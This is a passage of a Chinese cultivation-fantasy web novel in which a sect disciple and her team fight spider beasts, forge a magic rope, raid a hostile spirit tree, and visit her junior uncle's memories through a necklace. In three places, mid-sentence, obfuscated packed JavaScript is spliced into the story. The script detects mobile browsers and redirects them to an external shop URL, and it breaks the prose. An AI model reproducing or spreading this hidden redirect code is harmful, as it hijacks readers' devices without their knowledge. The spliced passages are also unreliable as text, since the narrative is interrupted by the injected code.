以她所见,这小石窟必然是妖兽的巢穴。 在小石窟的未知处,一定埋藏着一条通往更深处的通道,连接着更多妖兽的通道。 或许是由于暴雨,抑或是别的原因,妖兽并未出现。 可伏令年几人若是不能提前察觉,便很有可能全军覆没。 当伏令年误打误撞与妖兽相遇,战斗开始之际。 “可惜了,沈道友。” 沈枫泽闻言,视线从水影幕中绿裙女子的身上挪开——她此时正处于队伍的保护中央,身旁是那位百药谷的纨绔少爷。外侧是负责对抗妖兽直面进攻的剑修们。 随着出声之人的视线,他的目光落在了被蛛丝缠住的伏令年身上。 他没说话,等着出声之人的后言。 出声之人背后负剑,看着像是个剑修,服饰却明显不属于昆仑宗。 “她腰间的身份铭牌,看着像是你们遨月峰的?”出声之人笑得和善,眉目深处却透着淡淡的讥讽:“年幼的小姑娘,倒是有些小聪明。想必下次四境大会会有所收获。” 话里话外,都在暗示伏令年即将出局的结局。 见沈枫泽还是不说话,出声之人摇摇头:“沈道友,你的天赋着实是百年难得一见。但总不是每一位弟子都能如你一般的。我看我那小师妹似乎就在附近,你也不用太过担心,只要她击碎身份铭牌,不会有生命危险。” 沈枫泽微微侧头,就在出声之人以为他会说些什么时,却听到沈枫泽简短的几字。 “你,啰嗦。” 出声之人挑了挑眉,却也未流露出愤怒的神色,依旧自如。 “沈道友还是一如既往的话少。”他笑着摇头:“言辞犀利,便如你的剑招一般。我确实是比不上你。这一届弟子中能与你当年有几分相像的,恐怕便只有我那师妹了。” 沈枫泽知道出声之人指的是谁。 水影幕内,身着水墨衣袍的少女神情淡漠地注视着下方密密麻麻围绕而来的妖兽。她的墨发被束在脑后,随着寒风飘扬。 手向空无一物的身后探去,随着她的动作,一把墨色长剑出窍。 随着长剑逐渐浮现,剑刃上竟随之闪动起紫色的电舌。 剑出,风云变幻,雷鸣闪动。 在场弟子未见她出剑的动作,底下的妖兽便随之倾倒了一片。 那是万剑宗宗主的亲传弟子,晏扶摇。 同时,她也是这一届弟子中最富盛名者。 “确实比你强。”沈枫泽实诚地评价道。 出声之人沉默了一会,最终选择了闭嘴。 秘境之中, 伏令年非但没有将剑扔下,反而手法异常娴熟地开始转动剑柄。 一圈接着一圈,伏令年就像是收风筝线一般,以白玉剑为载体,一圈一圈地将蛛丝缠绕于上。 白玉剑与她联系密切,比起实体,它更像是自行凝结而成。即使在如今情况下,伏令年也能按照自己的心意,将白玉剑收回体内。 白玉剑的抗腐蚀能力与坚韧程度也远超其它的普通长剑,伏令年猜测,它甚至能够和从承言的赤霄剑相较一二。 因此,在如此角力之下,白玉剑仍然不见崩裂的迹象。 随着温季才御剑升空,蛛丝一层一层地缠绕于白玉剑之上,裹成了厚厚的一层。 妖兽也从一开始的主动捕猎者,成为了被动者。 口器中的蛛丝被伏令年不断拽出,肢体也即将脱离地面悬空。 就在伏令年和温季才即将离开金丹期妖兽的攻击范围时,先前被伏令年轻微挫伤的妖兽终是不再潜伏。 它身影如闪电般掠动,节肢推动身体向上跳跃了三四层楼的高度。 眼见那长矛般的前肢即将刺入伏令年体内,伏令年却似毫无所觉般未作反应。 就在此时,从承言的身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14098251|131734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影闪动,顷刻间便出现在伏令年身侧,替她挡下了这一击。 节肢差之毫厘,险之又险地被从承言稳稳架住。 但凡有一点差错,伏令年都会因此受到重挫。 已经来到山崖之上暂时安全的杜钟毓看着这一幕,便觉得冷汗直冒。 但作为当事人的伏令年没有任何躲避的姿态,依旧与温季才齐心协力地拉扯蛛丝。 可见三人之间配合默契,对彼此都有极深的信任。 这是杜钟毓从前从未感受过的。 在星机阁,她只是个中途出家不太入流的器修。 每个由她口中提出的设想都会被否决,她的奇思妙想总会带来破坏,她从未得到过他人的信任。 终于,妖兽体内的蛛丝被伏令年彻底掏空。 手上一轻,角力对象消失。 乳白蛛丝将长剑裹成了滑稽的形状。 温季才载着伏令年来到山崖之上。 伏令年跳下长剑,将一大团蛛丝就这么放到了杜钟毓面前。 在众人都未留意之际,白玉剑悄然消失,唯留下一团蛛丝。 “这是?”杜钟毓还没回过神来,有些迷茫地问。 “材料啊?”伏令年瞪大了眼睛:“这可是炼器上好的材料。” 杜钟毓:…… 她当然知道这是上好的炼器材料,可这是伏令年几人刚刚千辛万苦冒着生命危险得来的,就这么摆在她面前是何意? “给我?” 她不确定地问。 “不然呢。” 温季才在一旁跟着附和了一句:“我们小队可就你一个器修。” “你们想要炼制什么?”杜钟毓试探着问。 伏令年真诚回望,复读道:“我们小队可就你一个器修。” “你是说…让我自行炼制?”杜钟毓有些不可置信地瞪大了双眼。 “我们……一个器修。”阿九在一旁有些艰难地学伏令年说话。 鼻尖忽然有些发酸,杜钟毓点了点头:“谢谢你们。” 不明所以突然被谢的伏令年几人面面相觑。 阿九:“谢谢…” 就在此时,从承言从山崖下探出了脑袋:“它们爬上来了。” 蛛丝从妖兽体内排出,与空气接触产生化学反应后才真正成型。 随着接触时间过长,蜘蛛丝也会不断变质。 直到最后,不知会成为如何模样。 因此,杜钟毓原地开工,不给蛛丝变质的时间。 下方体型较小的妖兽能够沿着山崖往上爬,伏令年几人需要阻止它们影响杜钟毓炼器。 从蛛丝成为炼器材料的那一刻开始,一切似乎就变了模样。 伏令年几人从被妖兽捕猎,再到如今主动出击。 其间,甚至还故技重施地抽干了几只可怜妖兽体内的全部蛛丝。 再到后来,智慧较高的妖兽已然不敢再主动吐丝攻击,看见伏令年时,眼中甚至露出了些许畏惧之色。 正抽得起劲的伏令年发现周围一空,一时拔剑四顾心茫然。 飞回山崖,正好瞧见阿九轻松将爬到山崖上的小妖兽碾碎。 赤霄剑不知为何也悬浮在山崖之上,未随着从承言行动。 还未等伏令年走近,赤霄剑猛地颤动,剑鸣声起。 莫名被剑凶了一下的伏令年:? “咳。”身后紧随而来的从承言咳了一声,解释道:“刚刚学你的样子用赤霄卷了卷蛛丝,祂似乎因此闹脾气了。” 看着颤动着的赤霄剑,伏令年颇有种乡下人进城之感——原来灵剑还会闹脾气呢? 83. 万霭之幽(十) 还是自家白玉剑好。 随叫随到,还没脾气。 伏令年心中这么想着。 杜钟毓沉浸于眼前之事,材料源源不断地被投入容器之中,在她的灵力下被不断炼化。 脑海中翻涌的法阵纹路似乎浮现于眼前,心中所想在面前成形状。 溶解的材料再次凝结,随着杜钟毓的心意流转,勾勒出一个个蕴含着奇妙力量符文。符文连成一片,闪动着各色的流光,以特定的规律运转着。 随着炼制逐渐进入尾声,流光逐渐变得暗淡,隐没于灵器之中。 待到清醒之时,杜钟毓只觉得脑袋昏沉,情绪却异常亢奋。 “我成功了!” 不用她这声呼喊,伏令年几人也察觉到了强烈的灵力波动。 伏令年神识敏锐,立即便发觉了特殊。 她清点晶核的手微微一顿,上下打量了杜钟毓一番。 此时,杜钟毓正毫无形象地瘫坐在地上,面上被熏得焦糊一片,汗水浸湿了她的发丝,粘连于她的面颊上。 面前,一捆绳子状的事物静静悬浮于上。就在刚刚,它还闪动着耀眼的五色光芒。 浓郁的灵力在其间流窜,与此同时,杜钟毓身上亦有灵力波动。 她晋升了? 并没有。 杜钟毓的境界并未有明显提升,伏令年却莫名觉得她身上发生了不小的变化。 “这个东西怎么用?”温季才蹲在一旁,好奇地戳了戳:“就像跟普通的…”绳子一样。 话未说完,绳子忽地窜起,以极快的速度将温季才从头到脚捆缚了起来。 温季才被绳子扯倒在地,一脸生无可恋:“我明白了。” 只是稍稍一动弹,绳子便收缩的更紧。 温季才的脸憋得通红,很没骨气地朝杜钟毓喊到:“救命——” 杜钟毓炼器花费了三日,在这几天里,伏令年几人将可怜的妖兽们压榨了个干净。 不光抽丝,还刨晶核。 一开始尚且有些青涩,越到后来,越可谓是炉火纯青。 击落,挑起,顺着薄弱处刺入,再将晶核挑出。 除了金丹期的妖兽以外,其余的妖兽在伏令年几人的配合下被杀成了流水线作业。妖兽如同流水线上的玩偶,被分工明确的几人抛飞起来,再开膛剖晶核。 直到最后,就是那金丹期的妖兽,也被伏令年几人合力“掏空”了。 金丹期的妖兽的确不凡,节肢坚韧锐利,体内蕴含着能轻易置人于死的毒腺。 好在从承言的赤霄剑威势极盛,炽烈的火焰对付此类妖兽有极好的效果,才让几人能以最小的代价获取胜利。 杜钟毓完成炼制后,几人将所有晶核均分存入四境大会所发的身份铭牌中,身份铭牌跳动着,显示出相应积分。 待到日出,沿着温季才三人探查出的道路前行,六人再次踏上未知的前路。 一个月后。 伏令年手脚并用,灵活地在枝叶间跃动。 耳边风声呼啸,伏令年俯身侧头,手上动作却不慢,以手作刀将枝条上的圆形果实尽数劈落。 温季才同样跃动于另一侧的枝丫上,动作灵巧如飞鸟,做着与伏令年相同的事情。 与此同时,柔韧的藤蔓擦着伏令年的头皮呼啸而过。力道之大,速度之快,甚至产生了巨大的破空声。 不用尝试也可知,这一下若是抽在人的身上,必然是血肉模糊骨肉断裂的下场。 下方,高墨贤、从承言和阿九撑开白色的大网,接取掉落的果实。 柔韧的藤蔓不断从伏令年的身侧擦过,她依靠灵巧的身法躲避穿梭,似乎本就是生活在枝丫间的兽类。 相比一个月前,她的境界似乎并无太多长进。行走吐气间却多了丝先前没有的气韵。 这并非是一夕间能产生的变化,而是在日积月累下,随着修炼打坐,日夜吐息间逐渐发生的转变。 枝头的果实终于被清扫一空,伏令年瞅准藤蔓间的空隙,脚下发力跃下足有数十米之高的巨树。 身体未在重力的影响下急速下坠,反而是飘飘悠悠地随风飘荡起来。 藤蔓们并未就此放过伏令年,紧随而至。 就见那藤蔓即将将伏令年抽飞之时,伏令年身体诡异地横向移动了一段距离,堪堪避开藤蔓的攻击。 不论藤蔓如何攻击,伏令年总能在前一刻堪堪避开,险之又险,却又游刃有余。 温季才从树上跳下后,直接御剑飞行拉开距离。高墨贤几人也抱着大袋的果实往外侧跑去。 这下,留在攻击区域内的便只有伏令年一人了。 原本分开攻击温季才和高墨贤几人的藤蔓皆聚集过来,如同条条欲将敌人吞噬的长蛇。 伏令年依旧在缓慢地在半空中飘荡,体内灵力循着一种特定的回路运转,使她如同落叶般轻盈。 于此同时,她双眼紧闭。 神识如流水般遍布四周,周遭的一切皆映在脑海当中。每一寸枝叶的纹路,每一条舞动的藤蔓,皆在她神识之下显露。 随着神识被调动,神识海中的瑶光阵眼闪烁着柔和的光芒,与其余“星辰”交相辉映,汇集成广阔的星流长河。 藤蔓的每一次攻击在神识探测下被无限放大,伏令年只需推动灵力改变运动轨迹,便能成功躲避。 比起半个月前,再面对这生长着藤蔓、会肆意攻击所处区域内生灵的巨树,伏令年已是游刃有余。 秘境之外,许多双眼睛正注视着伏令年几人所处的水影幕画面。 秘境开启已有一个月之久,境内的局势已然稳定下来。 修士们大致摸清了万霭之幽的特质,还留在秘境中继续参与四境大会的修士们不是有团队的帮扶,便是能力过硬的散修。 所以,游离在大队伍外的伏令年几人便显得格外突出。 从一开始,他们便不被看好。 第一次暴雨让他们与大队伍失去了联系,后续的妖兽潮袭击又让他们陷入险境。 再然后,便是频繁的暴雨与有毒的雾霭侵袭。 没有医修丹修的队伍自然无法炼制出相应的解毒丹药。 再一次陷于暴雨之中,伏令年几人闯入一片密林地带,整体都因为吸入过多毒雾状况不佳——尤其是修为较弱的高墨贤和杜钟毓。 在如此状况下,他们撞上了生活在万霭之幽的一种独特灵植。 说是灵植,或许称之为灵树更加准确。 数十米高的粗壮枝干,遮天蔽日的巨大树叶,以及突然出现的,一条条舞动的藤蔓。 “此为灵犀木,”姜迎道:“树形高大,生于湿热地域,内生灵藤,领域意识强。” 在她认出这灵犀木的下一刻,伏令年几人便被灵犀木打了个人仰马翻。 暴雨侵袭,毒素缠身,又遇上巨木攻击。 他们似乎再次陷入了必死的绝境。 然而,伏令年几人却出乎意料地活了下来,还活的——蛮不错? 看着如今已经能在灵犀木攻击下游刃有余地躲闪,并将灵犀果洗劫一空的几人,一直关注着几人状况的姜迎不知应当感到欣喜还是忧。 灵犀木虽凶猛,所结果实却是炼制解毒丹的一味重要材料。同时,灵犀木还能吸取周遭的毒气,用于滋补自身。 服用果实,是最简单粗暴以消灭体内毒素的方法。 喜便喜在,自己东境昆仑宗的弟子能够寻到一味珍贵的珍贵材料。 忧便忧在,姜迎真的很担忧这群不懂炼丹的弟子是不是就这么白白将所有果实给糟蹋了。 要知道,灵犀木是少见的灵木,灵犀木所结的果实亦是珍贵的灵植。虽一年结一次果,却很少有人能够取到。 就拿进入秘境的修士们来说,知道如今,也只有伏令年几人遇上了。 若是未被干扰,果实通常会回归落入地面,重新化为灵犀木生长的肥料。 “哼,贪婪。” 一位身着百药谷服饰的长老忽地道。 “仅仅六人,便将这珍贵的灵犀果全数收取。” “不然呢?留给别的境的人?”一位昆仑宗长老语气不明地问道,让人瞧不出他是真心发问还是在回怼。 四境大会中,一直都有条不成文的规定,宝物归获取者所有。 灵犀果既然是伏令年几人靠自己获得的,便有资格收入囊中。 百药谷长老傲慢地看了昆仑宗长老一眼,摇摇头,一副痛心疾首的模样:“灵犀木每年一结果,一落果,果实回归泥土,为母体提供养分。现如今,全部果实都被取走,可谓是伤及了母体的根本。” 此言一出,昆仑宗长老一时间觉得有些古怪,却又觉得有些道理。 他挠了挠脑袋,真诚地道:“你说的也有些道理。” 姜迎无奈地看了他一眼,暗自摇了摇头。 将全部果实取走自然对灵犀木有害,可如今众人处于四境大会之中,至少还要在秘境内待上五月有余。且不说灵犀果的价值,每一个灵犀果都关乎修士的性命,在这种情况下,全部取走才是修士们会做出的选择。 莫要说伏令年一行人,就是任何宗门的弟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14143817|131734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子在此,也定然会将全部果实取走。 不过,姜迎并不喜于口舌之争。 她的视线重新落于伏令年身上。 她对这个少女有些印象——在四境大会以前便有。 数年前的内门考核中,她还只是个刚刚踏入修仙一途的小弟子。 现如今,却出落成了金丹期的修士。 虽然只是四境大会中最不起眼的金丹初期修士,但她的路还很长,也很广阔——姜迎如此评价道。 伏令年离开了灵犀木攻击的范围。 这一次,她完全避开了灵犀木的攻击,未再为身上增添新伤。 不枉费他们几人在此处徘徊许久,挨了灵犀木这么多毒打,总算是将灵犀果收入囊中。 一切还要从离开山崖后的一次以外说起。 虽然身处危险的秘境中,伏令年可没有忘记自己的学期任务。 收集灵植,完成《灵植学大全》一直是伏令年的日常任务。 那日,通过妖兽巢穴中发现的灵犀果残留果胚,伏令年借助系统提示得知了灵犀木的存在,便一路循着线索而来。 外人以为的好运,其实是伏令年的“从中作梗”。 在秘境中待的时间长了,伏令年摸清了秘境中的一些规律。 秘境中会时不时降下暴雨,暴雨具有腐蚀性。 同时,毒雾随之而来,周遭的灵气亦会受到污染。就是身体健壮的妖兽,也选择躲藏。 因此,在暴雨期间,很难瞧见别的生灵。 幸而他们获取了灵犀果,否则,缺乏解毒丹的他们很难在一次又一次的暴雨中支撑下来。 在暴雨之后,则会出现妖兽潮。 暴雨降临的时间并不确定,但也并非没有规律可循。 伏令年看了眼脚下爬行的蚁虫。 鼻尖有湿润的触感,伏令年张开手,接住了几滴落下的雨珠。 暴雨再至。 …… 这场暴雨持续的时间不长,不久后,天空拨云见月,星辰明亮。 伏令年几人已然趁着雨夜远离了灵犀木。 灵犀木虽能吸收毒气,是生灵于暴雨中的避祸所。可灵犀木的果实对众多妖兽们有致命的吸引力,暴雨过后,便会吸引众多妖兽聚集。 若还留在原地,便会被困在妖兽群中。 此时,伏令年正坐在高高的树冠之上,仰头看着夜空。 她并非是突如其来想要看看夜景——这是她每日必备的修炼环节。 自从点亮了杓阵中的瑶光阵眼,伏令年便一直在探索修炼神识的方法。 为此,她还再次细细阅读了那本难啃的《聚魂功法晋阶》,总算是从中得出了些有用的修炼技巧。 观测天象,循天地景观运转神识海中的“星辰”,便是其中一种。 不久前于灵犀木攻击下,伏令年对神识的运用有了新的体会,隐约间,她感觉自己似乎触碰到了新的台阶。 果不其然,今日神识运行更加流畅,“星辰”跟随着伏令年的指引,在神识海中滑过七星的痕迹,最终都尽数没入瑶光阵眼之中。 此时,修行已到尾声。 就在这时,伏令年忽感到胸口处一阵发烫。 这是她□□的触感。 而处在她胸口处的,便只有小师叔送的那条项链了。 就在伏令年打算结束修行,查看项链的情况之时,处于神识海角落的幼苗忽地产生了异动。 一瞬间,它的生长速度似乎被按下了倍速,枝条抽节延伸,逐渐有了树苗的形状。 幼嫩的绿叶从枝条上冒出后,树苗生长的速度便慢了下来。 绿色的叶子,而非让人心生不详的红色。 伏令年提到嗓子眼的心又微微放了下来。 又仔细观察了一会,都不见树苗有后续的变化,伏令年才离开了神识海。 就在此时,她感受到了一股莫名的吸引。 神识顺着牵引,竟直接没入项链当中。 伏令年只觉得天旋地转,人便站在了一片白皑皑的雪地之中。 寒意顺着足部蔓延,让她没来由打了个寒战。 环顾四周,伏令年还没来得及思考究竟发生了什么,便下意识伸手捂住了双眼。 紧接着,手指张开老大的缝隙,露出伏令年的一双眼眸。 不远处,被凝为冰晶的冰泉之上,一道赤裸着上半身的身影正立于其中。 宽肩窄腰,肌肉线条分明……嘶,非礼勿视,非礼勿视。 这么想着,伏令年又将指缝张大了一些。 84. 万霭之幽(十一) 下一刻,寒风凌冽而至。 纵使是伏令年极快往后退却,利剑亦在下一刻逼至面门。 紧接着,在距离她咽喉不足一寸处停住。 伏令年眼前被风雪迷蒙了一瞬,待风雪散去,看清面前之景时,伏令年不由自主地张大了嘴巴。 “小师叔?” “师姐?” “?” 剑尖被移开,对方的容貌完全展露在面前。 剑眉星目,肌肤白净,一双润泽如玉的黑眸中亦透着些许震惊之色。 这张面孔,伏令年再熟悉不过。 是小师叔!还是站起来的小师叔! 若说还有什么不同,现在站在她面前的小师叔面色瞧着要更红润有气色些,眉目间还透着少见的凌冽锐气。 刚才的一剑,可谓是剑意森然,几乎让伏令年喘不过气来。 “你怎么在这里?” 伏令年下意识又问了一句。 小师叔并未回话,伏令年下意识顺着他的面孔往下望去,将对方修长的脖颈以及裸露的肌肤尽收眼底。 “咳。”一声咳嗽将伏令年拉回现实。 伏令年立即捂住了眼睛。 “我什么都没看见。” 窸窸窣窣的声音过后,待伏令年再次睁开双眼,小师叔已穿上了衣裳,衣衫整洁地站在她的面前。 面上看似平静,伏令年却未错过他红透的耳根。 “你是何人?”小师叔语气冰冷地道。 小师叔脸色冷下来,倒是有几分可怖的。 不过,他此时的神情在伏令年眼中却颇有几分强作镇定的味道。 这问题问得有些难以回答,此小师叔非彼小师叔。他显然不认得伏令年,也不知为何就这么半身赤裸地呆在这冰天雪地中。 想到此,伏令年顿时感到身体发冷。 此处冰灵气浓郁,无孔不入地渗入肌肤骨髓当中。纵使伏令年有金丹期的修为,也有些吃不消。 于此同时,伏令年亦发现了身体的不对劲。 她体内又是空空如也,灵力不知所踪。 不过,这次与那“梦”中不同,伏令年能内视体内的“星辰”流转。 催动瑶光阵眼,能在一定程度上抵消寒气。 这更让她确信,自己此时处于神识离体的状态。而在瑶光被点亮后,她获得了更深层运用神识的力量。 伏令年思索虽多,外表却只是怔愣了不足一秒。 “我是遨月峰的弟子。”伏令年这么回答道,随即,她不经意地露出腰间属于遨月峰弟子的身份铭牌。 许多物品无法跟随神识一起来到此处,但就像身上穿着的衣服一般,模拟一个外形还是没有问题的。 小师叔目光略略扫过,微微蹙起的眉头这才有所放松,他点了点头,表情放柔:“你是新来的小弟子吧,我未曾见过你。” 他看了眼伏令年裸露在外的肌肤和被冻得有些发红的面颊。 “此处是峰内禁地,对元婴期以下的修士太过危险。你不应当私自闯入。” 虽是这么说,他却没有多少责怪之意。 “我领你出去罢。” “等一下。”伏令年喊了一声:“小…呃,师兄。” 小师叔转过头,眼眸正映出伏令年逐渐透明的身躯。 伏令年虽看不见自己的模样,却察觉到了四周的变化。 周围的灵力变得紊乱,画面逐渐变为碎片,一切都在坍塌。 眼前一花,伏令年脚下失去着力,整个人向下方沉去。 身体被冰凉的液体浸透,鼻腔再次被涌入的液体挤压,熟悉的痛感让伏令年不由得暗骂一声。 体内的星辰被催动,伏令年闭气,就待向上游去时,手腕忽地一紧,被人有力地攥住。 脑袋撞上什么坚硬的事物,待伏令年完全浮出水面,看清面前之人的面孔之时,才后知后觉地明白自己刚刚撞上的是对方的胸膛。 小师叔的发丝披散着浸入水中,细密的睫毛上挂着颗颗水珠。 凌冽的寒风一吹,水珠瞬间凝结,颗颗晶莹透亮。 随即,薄冰自行消融,水雾蒸腾衬得他宛若水中的精灵。 “你…”小师叔这次显然“认识”伏令年。 “哈喽。”伏令年有些尴尬地打了个招呼。 “你为何…?” 还未等伏令年作以回应,耳边忽听风起。 一道火色人影出现于不远处。 “师兄,师姐找…你?!”火色人影的尾音近乎转了一百八十度,她瞪大双眼,看着近乎是搂在一起的两人:“你们?” “你误会了!” “不是你看到的那样。” 红衣少女眉目锐利英气,自由股张扬自信的气质,看着颇有些眼熟。 伏令年手一松,整个人差些再度沉入冰水中。 好在小师叔反应及时,又将伏令年给提了出来。 回到岸上,伏令年被风吹的一个激灵,这才有时间打量那个突然出现的少女。 红衣少女眉目锐利英气,自由股张扬自信的气质,看着颇有些眼熟。 脑海中画面闪现,伏令年忽地瞪大了双眼。 耳边又听见少女叽叽喳喳的声音:“好啊,师姐让我来关心你的修炼状况,你却在这幽会。”她情绪外露,对伏令年这个“幽会对象”没什么好脸色:“还是一个…修为如此低的小弟子?” 伏令年没有反驳,只是有些发怔地望着她。 “看着我做甚?还有,你是哪来的弟子?” 少女低头俯视着伏令年,瞥见她腰间的身份铭牌。 “你胆子还不小。”少女眸光变得严厉:“敢伪造我们遨月峰的身份铭牌?!” “你是遨月峰的弟子?”伏令年问。 这句话似乎把脾气本来就不佳的少女彻底点燃了。 “怎么?你还瞧不起我?我可是遨月峰的亲传弟子!” “阿绯,冷静些。”小师叔制止了冲动的少女:“她误入此地,念她是初犯,我将她送离此处便可。” 阿绯瞪大双眸,似乎不甘心就此了结。 “她可是伪造了我们遨月峰的身份铭牌!还如此粗制滥造,这种材质,就是普通弟子的铭牌也比这要好上百倍!” 伏令年:“……”这可是她对着现实的身份铭牌一比一复刻的,心里凉凉的。 “你可知罪?”阿绯问。 “错了。”虽然不知道哪错了。 见伏令年答的如此干脆,阿绯面上倒生出两分无措来:“知道错了,为何还盯着我瞧?莫不是不服气?” “见姐姐你生的美。”伏令年嘴上不着调。。 阿绯面上顿时起了薄红,也不是是羞的还是怒的。 “你…你…”她你了半天,最终道:“那…那你就此离开,我便给师兄一个面子,不同师父他们讲了。” 伏令年应了一声,还是没忍住问出了心中最想知道的问题:“你是,绯月仙尊?” 阿绯眼睛顿时瞪大,四下张望:“谁告诉你的,你可莫要告诉别人。虽然…我以后一定会达到炼虚成为仙尊的…但你现在这么喊我,别人可是会看笑话的!” 伏令年看着阿绯的眼眸,从中看见了自己逐渐消散的身影。 内心的震惊难以言说——若此处不是胡乱生出的幻象,是否意味着,绯月仙尊曾经是遨岳峰的弟子? 四周再次崩解。 伏令年再次出现于一个陌生——却不完全陌生的地域。 耳旁是汩汩流动的声响,伏令年正坐在水旁,双腿浸润其中,感受到春日微凉的风拂过体侧。 身下的土地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14176776|131734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已长出嫩芽,冰雪消融,不复前两次见到的模样。 上方,墨色的黑夜中,飞瀑奔流而下。 连绵不断的水流忽地被从中截断,一道身影从中穿出。 身随剑动,剑势依旧不减,似欲斩破天际。 伏令年初次见到小师叔时,他已身落残疾。因而,她从未见过他舞剑。 如今,倒是大开眼界。 心中有所触动,白玉剑浮现于手中。 伏令年亦随着空气中流动的剑气,拔剑,出剑。 轻如绒羽的剑弧,清明如月的剑气,重如山岳的剑势。 三者矛盾却融洽地融合为一体。 剑出,如天际破碎,星月坠落。 伏令年并非初学望月剑法,却始终不得精进。 光是起手式,伏令年便练习了有半年之久,却只是学了表皮,难以与自身融会贯通。 如今见小师叔这一剑,却忽地福临心至,一切融会贯通。 有时候,修行便是如此的奇特。 一个突然的构思,一次意外的战斗,都可能会带来意想不到的突破。 至此,伏令年完全参悟了望月剑的起手式。 长剑仿佛与月色融为一体,与体内的瑶光共鸣。剑锋未斩落任何事物,只是卷起一阵清风,随后渐渐消散。 但伏令年清楚地知晓,只要她心念一动,柔和的“月光”瞬时便能化作杀人的利器,瞬时置人于死地。 背后有轻微的响动,伏令年回过头,与小师叔目光相对。 “你当真是遨月峰的弟子?”小师叔的语气不似疑问,更像是肯定:“你的身份铭牌虽与我们不同,却是亲传弟子的样式。” 沉默了一瞬,伏令年决定坦诚:“若要算起来,我算是你的师侄呢。” 小师叔沉默了…小师叔似乎无法接受自己突然拔高的辈分…小师叔相信了。 “所以,你来自…很久以后?” 有没有种可能,是你失忆了? 伏令年这句话未说出口,却忽地感觉四周再度变化,似乎将要破碎。 她及时止住了话头。 一切恢复平静。 心中有了思索,伏令年又忆起前两次画面破碎时的光景。 不知触动了什么,伏令年被带入项链当中,似是沉入了小师叔的记忆碎片中。 她似乎不能做出太过扭曲记忆本身的事情。 例如,不能告诉小师叔此处并非真实。 其次。 伏令年道:“我要离开了。” 这次,伏令年亲眼看见自己的身体从脚尖开始寸寸破碎。 她的猜测大致没错,主动提出或接受“离开”,会导致记忆偏移,从而跳转到下一个记忆。 就不知为何,作为记忆碎片中一部分的小师叔却对她的多次出现留有印象。 画面由模糊变得清晰,她似乎处于一片绿林当中。就在伏令年将要看清周遭的事物时,身体忽地一阵摇晃。 摇晃的不是她的“身体”,而是处于外界的肉/身。 神识如同受惊的小兽,如潮水般回归体内。 伏令年睁开了双眼。 耳边听见朦胧的声音:“醒醒,有人来了,你怎么睡的这么死?” 伏令年缓缓睁开眼睛,看见温季才的面孔。 “我睡着了?”伏令年明知故问。 “或许是吧,”温季才皱了皱鼻子:“你还在说梦话呢,什么小师叔…非礼勿视…” “咳。”伏令年尴尬地咳嗽了一声。 鼻下有凉意,心中忽有不好的预感。 在温季才惊慌的表情中,伏令年用手背蹭了蹭鼻尖。 红色的鲜血顿时在手背铺开。 伏令年:“……” 这下好了,就是跳进南境的迷迭河也洗不清了。 85. 万霭之幽(十二) 顺着树干滑落至地面,伏令年捂着鼻子,鲜血还在不断顺着缝隙往外流淌。 这样的流血量显然有些夸张了,就算是她好色,也不至于到如此地步。 鲜血滑落至地面,随即被突然燃起的火焰灼烧殆尽。 伏令年两人的出现顿时引起了周遭一群人的注意。 原本剑拔弩张的气氛被满脸是血的伏令年给冲散了。 “你鼻子蹭树上了?”杜钟毓可没见过这阵仗,眼皮一跳,凑上前扶住伏令年的肩膀。 伏令年摆了摆手,想说什么,一张嘴,血又哗啦哗啦的地往下淌。 血止不住,伏令年便默不作声地观察四周。目光所及,约莫有十几个陌生的面孔。 衣着服饰皆不是东境常见的,看着像北境的修士。 他们距离如此之近,处于奇妙状态中的伏令年竟是丝毫未有察觉。 看来,日后要多加留意,可别因为粗心大意而丢了性命。 对面原本气势汹汹的领头弟子忍不住多看了伏令年两眼,道:“我们队伍里有丹修…” “不用了。”温季才道:“她自己缓一会就能好。” 领头弟子怀疑地看了看满手是血的伏令年——她看着着实不像一会就能好的模样啊。 不过,这也与他们无关。领头弟子未过多纠缠,拱了拱手,道:“万剑宗,云鹤生。” 果然是北境的修士。 几人你望望我,我望望你。 最终,从承言上前道:“昆仑宗,从承言。” 一看便是一群没有固定领导者的草台班子。 云鹤生眼眸中的紧惕褪去,流露出一抹不易察觉的轻蔑。 “你们是东境派来探查的弟子?”他问道。 没得到回复,云鹤生权当默认。 “不必再往前了,此处已是我们北境的区域。”他直截了当道。 历年来,四境之间都有一个不成文的规定。大会初始,四境修士之间一般不会出现大范围的直接冲突,这样既能减少无畏的伤亡,也能更好保留实力用以深入探索秘境。 看见伏令年几人在此,云鹤生便先入为主地认为伏令年他们是跟随着东境队伍而来的小队。 云鹤生想过这几个东境的弟子会作何反应——或是愤怒、或是怯懦,又或是直接动手以示反抗。 然而,却见对面几人又开始眉来眼去,不知在交流着什么。 “你们有很多人?”血总算是止住了,伏令年一边擦拭着面颊,一边问。 